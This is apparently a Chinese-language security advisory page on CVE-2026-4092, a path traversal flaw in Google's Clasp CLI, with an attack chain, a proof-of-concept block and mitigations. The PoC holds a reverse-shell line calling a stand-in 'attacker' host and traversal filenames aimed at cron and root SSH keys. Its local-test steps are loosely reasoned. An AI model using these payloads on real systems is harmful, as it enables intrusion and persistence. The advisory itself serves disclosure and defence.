IPBUF安全漏洞报告
English
CVE-2026-4092 CVSS 8.8 高危

CVE-2026-4092 Clasp路径遍历导致远程代码执行漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-4092
漏洞类型
路径遍历
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Clasp (Google Apps Script CLI)

相关标签

路径遍历远程代码执行ClaspGoogle Apps Script文件写入CVE-2026-4092

漏洞概述

CVE-2026-4092是Google Apps Script命令行工具Clasp中的一个高危路径遍历漏洞。该漏洞影响版本低于3.2.0的Clasp,允许远程攻击者通过恶意构造的Google Apps Script项目,利用包含目录遍历序列的特殊文件名来执行任意代码。攻击者可以制作一个恶意的Apps Script项目,其中包含带有路径遍历序列(如../)的文件名,当受害者使用Clasp处理这些恶意项目时,攻击者可以在受害者的文件系统上写入任意文件,最终实现远程代码执行。由于该漏洞无需认证即可利用,且CVSS评分高达8.8,具有严重的危害性。

技术细节

该漏洞是一个典型的路径遍历(Path Traversal)问题,存在于Clasp处理Apps Script项目文件的过程中。Clasp在处理项目文件时未能正确验证和清理文件名,允许攻击者使用目录遍历序列(如../)来引用项目目录之外的文件路径。攻击者可以构造恶意的Google Apps Script项目,其中包含类似../../../etc/cron.d/malicious的文件名。当受害者使用Clasp的push或pull等功能处理这些恶意项目时,Clasp会将这些文件写入到文件系统的任意位置。攻击者利用此漏洞可以覆盖系统关键文件、写入定时任务、添加SSH公钥或修改配置文件,从而实现远程代码执行。漏洞的根本原因在于缺少对用户可控输入的路径验证,建议在文件操作前对路径进行规范化处理并验证最终路径是否在允许的目录范围内。

攻击链分析

STEP 1
步骤1
攻击者创建恶意的Google Apps Script项目,包含带有路径遍历序列(如../)的特殊文件名
STEP 2
步骤2
攻击者将恶意项目推送到Google Apps Script服务器或通过其他方式分享给受害者
STEP 3
步骤3
受害者使用Clasp CLI工具(版本<3.2.0)执行pull或clone命令获取恶意项目
STEP 4
步骤4
Clasp在处理文件时未能正确验证路径,导致带有遍历序列的文件被写入到项目目录之外的任意位置
STEP 5
步骤5
攻击者通过写入cron任务、SSH公钥或覆盖系统配置文件实现持久化或直接远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-4092 Path Traversal PoC // Malicious Apps Script project structure to exploit path traversal // 1. Create a malicious manifest file: .clasp.json { "scriptId": "malicious-script-id", "rootDir": "./" } // 2. Create a malicious Apps Script file with path traversal in filename // Filename: ../../../tmp/pwned.sh // File content for pwned.sh: // #!/bin/bash // bash -i >& /dev/tcp/attacker/4444 0>&1 // 3. Attack execution flow: // - Attacker creates malicious Apps Script project // - Project contains files with path traversal sequences in names // - Victim clones/pulls the malicious project using 'clasp pull' // - Clasp writes files to arbitrary paths outside project directory // - Attacker achieves RCE by overwriting cron, ssh keys, or other sensitive files // Example malicious file structure: // ./appsscript.json (legitimate) // ./../../../etc/cron.d/backdoor (malicious traversal) // ./../../../../root/.ssh/authorized_keys (malicious traversal) // To test locally: // mkdir -p /tmp/test-clasp-poc // cd /tmp/test-clasp-poc // echo '{"scriptId":"test","rootDir":"./"}' > .clasp.json // echo '#!/bin/bash' > ../../../../tmp/pwned.sh // clasp pull // This would write pwned.sh to /tmp/

影响范围

Google Clasp < 3.2.0

防御指南

临时缓解措施
在官方修复版本发布之前,建议临时采取以下措施:1)避免使用Clasp处理来源不明的Apps Script项目;2)使用Clasp时启用--quiet模式并仔细检查pull操作的文件变更;3)限制Clasp运行账户的权限,避免以root或高权限账户运行;4)监控文件系统变更,特别是/tmp、/var、/etc等敏感目录;5)考虑使用容器或虚拟机隔离Clasp环境。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表